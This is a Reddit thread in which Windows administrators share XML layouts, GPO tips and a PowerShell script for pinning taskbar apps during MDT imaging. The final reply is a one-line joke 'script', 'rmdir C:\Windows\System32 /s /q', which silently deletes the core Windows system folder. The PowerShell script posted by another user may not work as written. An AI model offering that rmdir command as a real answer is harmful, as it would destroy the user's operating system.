r/MDT • u/AdrianR1991 • May 03 '23
Sharing your scripts
Hello,
If you would please post your scripts for pinning items to the taskbar during the imaging process I should be able to edit them enough and take it from there.
I appreciate all of your assistance
Thank you
2
u/kx885 May 03 '23
I use a gpo to control most of that. Config is in an XML file and GPO points Windows 10 towards it.
1
u/AdrianR1991 May 03 '23
I was trying to use something like this, but I'm not sure how to get it working
<?xml version="1.0" encoding="utf-8"?>
<LayoutModificationTemplate
xmlns="http://schemas.microsoft.com/Start/2014/LayoutModification"
xmlns:defaultlayout="http://schemas.microsoft.com/Start/2014/FullDefaultLayout"
xmlns:start="http://schemas.microsoft.com/Start/2014/StartLayout"
xmlns:taskbar="http://schemas.microsoft.com/Start/2014/TaskbarLayout"
Version="1">
<CustomTaskbarLayoutCollection PinListPlacement="Replace">
<defaultlayout:TaskbarLayout> <taskbar:TaskbarPinList> <taskbar:DesktopApp DesktopApplicationLinkPath="%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Google Chrome.lnk" /> <taskbar:DesktopApp DesktopApplicationLinkPath="%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\File Explorer.lnk" /> <taskbar:DesktopApp DesktopApplicationLinkPath="%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Outlook.lnk" /> <taskbar:DesktopApp DesktopApplicationLinkPath="%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Corporation\\Microsoft Teams.lnk" /></taskbar:TaskbarPinList>
</defaultlayout:TaskbarLayout>
</CustomTaskbarLayoutCollection>
</LayoutModificationTemplate>
2
u/kx885 May 03 '23
Make sure your XML is valid. If there's anything remotely wrong with your XML, GPO won't use it without any error msg.
1
u/Sekers May 03 '23
Yep only change one thing at a time and then test. If it still works do the next change.
I also like to copy the XML file from a share to the local computer and then have the GPO reference the local copy rather than a network version. Probably doesn't make too much of a difference but I feel better about it working that way, especially in case it's the first time login and the share isn't available.
1
1
1
May 03 '23
Heres my XML file for the actual layout https://pastebin.com/bR7DgEYx and you place that in your DeploymentShare\Scripts folder
and heres the powershell script that gets run from a task sequence step at the end that imports that XML start menu. https://pastebin.com/FMH88EPq
It'll probably be easier for you to drag shortcuts and programs to your start menu and create your own custom start menu layout, then run a powershell Export-StartLayout to create your own XML file.
1
u/AdrianR1991 May 03 '23
I am very interested in this because when I use the Export-StartLayout I get this
{"pinnedList":[{"desktopAppLink":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Edge.lnk"},{"desktopAppLink":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Word.lnk"},{"desktopAppLink":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Excel.lnk"},{"desktopAppLink":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\PowerPoint.lnk"},{"packagedAppId":"microsoft.windowscommunicationsapps_8wekyb3d8bbwe!microsoft.windowslive.mail"},{"packagedAppId":"microsoft.windowscommunicationsapps_8wekyb3d8bbwe!microsoft.windowslive.calendar"},{"packagedAppId":"Microsoft.WindowsStore_8wekyb3d8bbwe!App"},{"packagedAppId":"Microsoft.Windows.Photos_8wekyb3d8bbwe!App"},{"packagedAppId":"windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel"},{"desktopAppLink":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\OneNote.lnk"},{"packagedAppId":"Microsoft.WindowsCalculator_8wekyb3d8bbwe!App"},{"packagedAppId":"Microsoft.WindowsAlarms_8wekyb3d8bbwe!App"},{"packagedAppId":"Microsoft.WindowsNotepad_8wekyb3d8bbwe!App"},{"packagedAppId":"Microsoft.Paint_8wekyb3d8bbwe!App"},{"desktopAppLink":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\File Explorer.lnk"},{"packagedAppId":"Microsoft.ZuneVideo_8wekyb3d8bbwe!Microsoft.ZuneVideo"},{"packagedAppId":"Microsoft.Getstarted_8wekyb3d8bbwe!App"}]}
And these don't refer to Outlook, Chrome, or any of the other apps that I have stored on my taskbar. I feel like the taskbar is a separate entity, isn't it?
1
May 03 '23
You have to manually add in the taskbar items to the start menu XML file. This Microsoft Doc explains how if you wanna give that a look over.
3
May 03 '23
StartLayout-Export
StartLayout-Importhttps://learn.microsoft.com/en-us/powershell/module/startlayout/?view=windowsserver2022-ps
Just set it up how you want it, export and import it. It will not affect the current user but will any new user profile that is created during sign on.
You can then have MDT import the XML via PowerShell as a step.
This is no different than Win10 BTW.
1
u/St0nywall May 04 '23 edited May 04 '23
PowerShell script allows you to pin/unpin apps on the taskbar and start menu.
All apps in a user profile are unique to that profile. There are no shared pins, so you may want to not worry about pinning anything in MDT and rather do it using a GPO or another means that interacts with the user as they log in.
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)]
[string]$AppName,
[string]$Location = "Both",
[Parameter(Mandatory=$true)]
[ValidateSet('Pin', 'Unpin')]
[string]$Action
)
$taskbar = "shell:::{0DF44EAA-FF21-4412-828E-260A8728E7F1}"
$startMenu = "$env:LocalAppData\Microsoft\Windows\Shell"
$shell = New-Object -ComObject Shell.Application
if ($Location -eq "Both") {
$locations = $startMenu, $taskbar
} else {
$locations = $Location
}
foreach ($location in $locations) {
$folder = $shell.NameSpace($location)
if ($Action -eq "Unpin") {
$item = $folder.Items() | Where-Object {$_.Name -eq $AppName}
if ($item) {
$folder.DeleteItem($item)
}
} elseif ($Action -eq "Pin") {
$appPath = (Get-StartApps | Where-Object {$_.Name -eq $AppName}).AppPath
if ($appPath) {
$item = $folder.ParseName($appPath)
$verb = $item.Verbs() | Where-Object {$_.Name -like 'Pin to *'}
if ($verb) {
$verb.DoIt()
}
}
}
}
4
u/MFKDGAF May 03 '23
rmdir C:\Windows\System32 /s /q